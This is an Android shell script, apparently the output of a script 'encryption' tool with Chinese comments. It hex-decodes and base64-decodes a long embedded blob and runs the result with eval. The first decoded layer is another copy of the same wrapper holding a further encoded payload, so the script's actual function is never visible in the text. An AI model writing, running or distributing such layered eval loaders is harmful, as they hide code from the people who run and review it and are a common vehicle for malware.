#!/system/bin/sh

# ============================================
# 加密脚本 - 生成时间: 2026-03-14 20:44:07
# 加密类型: base64 hex 
# ============================================

base64_decode() {
    if [ -z "$1" ]; then
        echo "错误：解密数据为空" >&2
        return 1
    fi
    local result=$(echo "$1" | base64 -d 2>/dev/null)
    if [ -z "$result" ]; then
        result=$(echo "$1" | openssl base64 -d 2>/dev/null)
    fi
    echo -n "$result"
}

hex_decode() {
    if [ -z "$1" ]; then
        echo "错误：解密数据为空" >&2
        return 1
    fi
    local result=""
    if command -v xxd >/dev/null 2>&1; then
        result=$(echo "$1" | xxd -r -p 2>/dev/null)
    else
        result=$(echo "$1" | perl -e 'print pack("H*", <STDIN>)' 2>/dev/null)
    fi
    echo -n "$result"
}
# 解密主函数
decrypt_and_run() {
    local data="$1"
    local result="$data"

    result=$(hex_decode "$result")
    if [ -z "$result" ]; then echo "Hex解密失败" >&2; return 1; fi
    result=$(base64_decode "$result")
    if [ -z "$result" ]; then echo "Base64解密失败" >&2; return 1; fi

    if [ -n "$result" ]; then
        eval "$result"
    else
        echo "错误：解密失败" >&2
        return 1
    fi
}

# 加密数据
DATA='43694d675054303950543039505430395054303950543039505430395054 303950543039505430395054303950543039505430395054303950543039 5054304b4979446c6971446c7234626f684a726d6e4b77674c53446e6c4a 2f6d694a446d6c3762706c375136494449774d6a59744d444d744d545167 4d6a41364e444d364d6a594b4979446c6971446c7234626e7362766c6e6f 733649474a68633255324e43426f5a58676743694d675054303950543039 505430395054303950543039505430395054303950543039505430395054 3039505430395054303950543039505430395054304b436d4a6863325532 4e46396b5a574e765a47556f4b53423743694167494342705a6942624943 31364943496b4d534967585473676447686c62676f674943416749434167 4947566a6147386749756d556d656976722b2b386d75696e6f2b57766875 6156734f614e727553347575657075694967506959794369416749434167 49434167636d563064584a754944454b4943416749475a70436941674943 427362324e68624342795a584e31624851394a43686c593268764943496b 4d5349676643426959584e6c4e6a51674c5751674d6a34765a4756324c32 35316247777043694167494342705a694262494331364943496b636d567a 64577830496942644f79423061475675436941674943416749434167636d 567a645778305053516f5a574e6f627941694a444569494877676233426c 626e4e7a6243426959584e6c4e6a51674c5751674d6a34765a4756324c32 353162477770436941674943426d61516f67494341675a574e6f62794174 626941694a484a6c633356736443494b66516f4b614756345832526c5932 396b5a5367704948734b4943416749476c6d494673674c586f6749695178 496942644f794230614756754369416749434167494341675a574e6f6279 4169365a535a364b2b7637377961364b656a35612b4735705777356f3275 354c693635366d364969412b4a6a494b4943416749434167494342795a58 5231636d34674d516f67494341675a6d6b4b494341674947787659324673 49484a6c633356736444306949676f674943416761575967593239746257 46755a43417464694234654751675069396b5a585976626e567362434179 506959784f79423061475675436941674943416749434167636d567a6457 78305053516f5a574e6f627941694a444569494877676548686b49433179 494331774944492b4c32526c64693975645778734b516f67494341675a57 787a5a516f67494341674943416749484a6c633356736444306b4b47566a 6147386749695178496942384948426c636d77674c5755674a3342796157 3530494842685932736f496b67714969776750464e5552456c4f50696b6e 4944492b4c32526c64693975645778734b516f67494341675a6d6b4b4943 41674947566a614738674c573467496952795a584e3162485169436e304b 4979446f7036506c7234626b754c766c6837336d6c62414b5a47566a636e 6c7764463968626d5266636e56754b436b6765776f67494341676247396a 595777675a474630595430694a444569436941674943427362324e686243 42795a584e31624851394969526b5958526849676f4b4943416749484a6c 633356736444306b4b47686c6546396b5a574e765a475567496952795a58 4e31624851694b516f67494341676157596757794174656941694a484a6c 6333567364434967585473676447686c6269426c5932687649434a495a58 6a6f7036506c7234626c704c486f744b55694944346d4d6a7367636d5630 64584a754944453749475a7043694167494342795a584e31624851394a43 686959584e6c4e6a52665a47566a6232526c4943496b636d567a64577830 49696b4b4943416749476c6d494673674c586f67496952795a584e316248 5169494630374948526f5a5734675a574e6f62794169516d467a5a545930 364b656a35612b4735615378364c536c4969412b4a6a493749484a6c6448 5679626941784f79426d61516f4b4943416749476c6d494673674c573467 496952795a584e3162485169494630374948526f5a57344b494341674943 41674943426c646d46734943496b636d567a6457783049676f6749434167 5a57787a5a516f6749434167494341674947566a6147386749756d556d65 6976722b2b386d75696e6f2b57766875576b736569307053496750695979 436941674943416749434167636d563064584a754944454b494341674947 5a70436e304b43694d673559716735612b4735705777356f3275436b5242 564545394a7a517a4e6a6b305a4459334e4751304d7a4d304e6a637a4e54 59784e544d304f444d314e474d334e544d354d7a55324d6a4d794e54517a 4e5455354e6d51305a544d324e446b314d7a59784d7a55334d4341334f54 637a4e444d32596a526c4e5459314e545a6a4e4745304e6a55304e6d4d31 4d6a59324e54557a4d44526c4e544d314d7a55324e4449314e5455774e54 4d304f545a694e4751304d7a51354e4749674e544532596a51324e445131 4d7a4d784e5459314d5455344d7a417a4e5451794e5451314e5455314d7a 6b304f5463314e546330596a5a6d4e4759314e7a63324e6a67334e544a69 4d7a67324f54526d494459784e6a49334e44526d4e6a45314e7a637a4e47 59314e7a55784e6d45334e5459784e4745334d444a694e6a6b324f445a68 4e475979596a4d344e6a6b314d7a4d314e3245324d54517a4e446b305969 41314d545a694e4459304e44557a4d7a45314e6a55784e54677a4d545179 4e4449314e6a51314e6a637a4f5451354e6a6b314d545a6d4e5745304e7a 5a6a4e7a6b324d6a5a6b4e4459334e4456684e544d674e4445324f545268 4e4455305a5455324e545532597a52684e4459314e445a6a4e5449324e6a 55314d7a41305a54557a4e544d314e6a51794e5455304f5459354e6d4933 4e6a52684e44553059545179494455784d7a41334e4455324e5455304e6a 4d354e4759314d5455314d7a45304e6a51354e6a63325a6a52694e6a4531 4e7a55354e6a63314e7a63354e4445324f4451354e444d7a4d545a6b4e44 6b304d7941304f545a694e544532596a51324e4451314d7a4d784e545931 4d5455344d7a45304d6a51794e5459304e5459334e6a6b304f5451324d7a 417a4e7a51354e4467314d6a5a6d4e5745314e7a4d304e4749674e446b30 4d7a51794e6d45324d7a517a4e4445324f5452684e4455305a5455324e54 5532597a52684e4459314e445a6a4e5449324e6a55314d7a41305a54557a 4e544d314e6a51794e5455304f545935494451784e6a6b30595451314e47 45304d6a55784d7a41334e4455324e5455304e6a4d354e5445314d545532 4e5449304f5451354e6a63325a6a59334e446b304e7a55324e6d45324d54 51334d7a67324e7941304f5463314e54637a4d7a637a4e7a55314e7a5a69 4e6a6779596a557a4d7a63334e6a59314e54637a4f545a694d6d49314e7a 52684e6d45324e5459354e4455325a4463314e6a45324d7a63794e475967 4e5463304f54637a4e475979596a4d344e6d51324f5455794e444d314d54 55314e475530597a55324e5459304d6a59324e5455304e5451324e545531 4d7a517a4e446b30596a56684e5463334f446468494456684e5445325a6a 59334e446b304e7a55324e6d45324d5451334d7a67324e7a51354e7a5531 4e7a5a694e6a6779596a557a4d7a63334e6a59314e54637a4d7a637a4e7a 55314e7a63304e6d51305a6941314e7a597a4e7a45305a6a4a694d7a6732 5954526d4e6a6b7a4d7a637a4d6d49324f544a6d4e6a6779596a55334e6d 49324f444a694e544d7a4e7a63324e6a55305a6a51784e6a63324f545135 4e4749674e5745325a445a694e4749304d7a59354e4751324e7a526b4e54 4d7a4e4459334d7a55324d544d324e6a457a4e54526a4e6d513059544d32 4e474d324e5463324d7a55324d6a4d324e4455304d7a5a69494452684e47 45314e445a6a4d7a6b304e54557a4e5459304f544d354e446b324f544d35 4e6d49314f5455344e5449324f44526a4d7a4d314e6a64684e5745314f44 51354e7a59305a44517a4d7a6b324f5341324d5455334d7a51334e545979 4e5467314d5463314e6a4d304e7a63344d7a45324d7a63354d7a55325954 55354e54637a4e5459344e6a4d325a545a694e7a593159545a6b4e6d4d33 4d7a56684e5467674e4751334e6a59304e4463314e6a63354e6a49314d7a 4d354e6a6b324d5455334d7a51324f54517a4e6d49334f4452684e544532 597a4d354e4455314d7a55324e446b7a4f5451354e6a6b7a4f545a694944 55354e5467314d6a59344e474d7a4d7a55324e324531595455344e446b33 4e6a526b4e444d7a4f5459354e6a45314e7a4d304e7a55324d6a55344e54 45334e54597a4e4463334f444d784e6a4d334f53417a4e545a684e546b31 4e7a4d314e6a67324d7a5a6c4e6d49334e6a56684e6d5132597a637a4e57 45314f44526b4e7a59324e4451334e5459334f5459794e544d7a4f54637a 4e6a45314e7a51354e6a6b674e444d32597a55794e4449314e545a694e6a 51304e6a55324e44597a4f5455304e54457a4d5452684e4745314e545132 4e54457a4f5451354e6a6b7a4e4463324d7a55314f5463784e6a637a4e54 597849444a694e446330597a5a6c4e4755325a6a51354e6a63325a6a5269 4e446b334f5451784e7a6b30597a59354e4451325a6a63794e7a497a4e7a 5a6c4e7a59324d544d334e6d5532595463784d6d5932597941325a6a5a6d 4e544132597a5a684d7a5532595463774e6a677a4e444d344e4749315954 55344e6a67334e7a59794d7a4d3059544d774e446b304e6a51794e544d31 4d6a55314e574530595455334e4451674d7a41324f54526a4d7a49314d6a 59344e6a51304e7a51314e7a59324e4455344e475532597a597a4e6a6b7a 4f4463334e474d7a4d6a52684e7a41324d6a59354d7a55334e4459304e44 4d7a4e546333494459794e4467314e6a64684e474d325a44526c4e6a6732 4d6a5a6b4e4459334f5459314e544d304f5452694e5745314f4459344e7a 63324d6a4d7a4e47457a4d4451354e4455334f4451314e54677a4d434133 4f4452684e544532597a52684e4449314e545a6a4e6d4d324e6a55314e44 55304e6a55314e544d304e444d774e6a6b30595451314e7a673059545578 4e6d4d7a4f5451314e544d314e6a51354d7a59674e4745304e5463344e44 55314f444d774e7a6730595455784e6d4d30595451794e545532597a5a6a 4e6a59314e5451314e4459314e54557a4e444d304f5452694e444d324f54 526b4e6a63305a44633549444d304e6a637a4e5459784d7a59324d544d31 4e474d325a4452684e446b304e7a526c4d7a45324d7a5a6b4e7a63324e7a 4d324e474d324e5463324d7a55324d6a4d324e4455304d7a5a694e475531 4e6941314e545a694e7a637a4f5451354e6a6b314d6a517a4e544d314e54 4d314e6a59314d6a51314e6d4d314d7a526a4d7a49305a544d784e6a4d32 5a4463334e6a6b304d7a59334e6d5932595451354e4451674e5445334e54 51354e4759324d545a684e6a63305a6a59784e6a59334d44557a4e444932 595459304e5467305954637a4e444d325a445a6a4e6d51304f5451324e7a 4d324e7a51354e544d304d546330494456684e6a6b304d5459354e474530 4e54526c4e5459314e545a694e7a63324f5451354e44597a4d444d334e44 6b304f4455794e6d5931595455334d7a5130596a51354e444d304d6a5a6a 4e546b7a4d6941324f4463324e446b304d7a526a4e7a4132597a52684e6d 55325a6a63794d7a59795a6a63324e7a5930595463774e6d45324e445534 4e4745334d7a51354e4759314d7a4d304e6d45324e5455334e7a51674e6d 51305a6a55334e6a4d334d54526d4d6d497a4f4459334e544d304f545269 4e446b304d7a51794e6d4d324e5451334e6d4d7a4d4451354e4451304e54 52694e5745325a445a694e4749304d7a59354944526b4e6a63305a54557a 4d7a51324e7a4d314e474d324f54526a4d7a5930597a4d794d7a6b7a4e6a 51354e544d324d544d314e7a41334f54637a4e444d325a4455324e6d4532 4d5451334d7a67324e7941304f5463314e6a45334e445a6d4d6d49314e7a 597a4e7a45305a6a557a4d7a51324f544a694e6a6b7a4f5463324e544d7a 4e4463314e474d324f5451354e474930595451314e4755314e6a55314e6d 49674e7a63324e7a526a4e5463334d7a59334e474d314e7a4d344e6a6330 4f5459354e5449314e5455784e545930595451344e5449314e6a55794e6a 59314e544d774e4755314d7a557a4e5459304d6a5531494451354e6a6b30 4d5459354e6a45304f4455794d7a41324d7a51344e47517a4e6a526a4e7a 6b7a4f545a6c4e57457a4d7a55794e7a59324d6a4d794e7a67335954526a 4e6d517a4d545a6a4e6a49314e79417a4f5463354e6a55314f4455794e7a 59324d6a4d794e7a63334e5459304e44637a4f5463334e474d7a4d6a5930 4e6d4d324e4451324d7a6b32595459794e44637a4f544d784e5745304d7a 4d344e7a6b674e4751314e7a51324e6a6b314f545a684e546b334f44526c 4e6d45324f4459354e546b314e4451354d7a41314f5455304e6a67325954 55354e5451314f5463334e4759304e4455324e6d45305a445a6849445268 4e6d45305a545a6b4e4459324f44526b4e5451304d544d304e4759304d7a 4d344e6a6b304d7a59334e6d5932595451354e4451314f5463314e446b30 5a6a59784e6d45324e7a526d4e6a45324e6941334d4459314e544d7a4e44 59354d6d49324f544d354e7a59314d5463774e7a4131595459354e444932 4d6a51354e444d314d544a6d4e446b304d7a4d784e7a55315954557a4e44 45334e7a51354e4459674d7a417a4e7a51354e4467314d6a5a6d4e574531 4e7a4d304e4749304f54517a4e444932597a55354d7a49324f4463324e44 6b304d7a526a4e6d49334e5451354e7a59325a6a63324e6a497a4d7a5a6a 494463774e474d304f445a6d4e7a5130596a55314e6a6b304d7a59354e44 45324e7a56684e5467324f4463774e6a51304d7a51784e7a67304d7a5a6b 4e5745334d44517a4e6a63325a6a5a684e446b304e4341324d7a63314e44 6b305a6a59354d7a45324f544a694e544d7a4e6a59354e4759324d545930 4e6a6379596a5a6b4e574532596a51784e7a4132595459784e44637a4d54 63324e5745304d7a51784e7a49674e6a55304d7a51784e6a6b3059545132 4e5449304d6a55314e6d49324e4451324e5459304e6a4d354e5451314d54 4d784e474530595455314e4459314d5459354e444d324e7a5a6d4e474930 4f54517a494451794e3245324d54517a4e4445324f5452684e4459314d6a 51794e545532596a59304e4459314e6a51324d7a6b314e4455784d7a4530 595452684e5455304e6a55784e6a6b304d7a5a6b4e5459334d7941324d7a 4d794e545530596a56684e6d5132596a4e6b4a776f4b4979446d6961666f 6f597a6f7036506c7234594b6157596757794174626941694a4552425645 4569494630374948526f5a57344b494341674947526c59334a3563485266 5957356b58334a31626941694a45524256454569436d56736332554b4943 41674947566a6147386749756d556d656976722b2b386d75574b6f4f5776 68756156734f614e72755334757565707569496750695979436941674943 426c65476c304944454b5a6d6b3d'

# 执行解密
if [ -n "$DATA" ]; then
    decrypt_and_run "$DATA"
else
    echo "错误：加密数据为空" >&2
    exit 1
fi
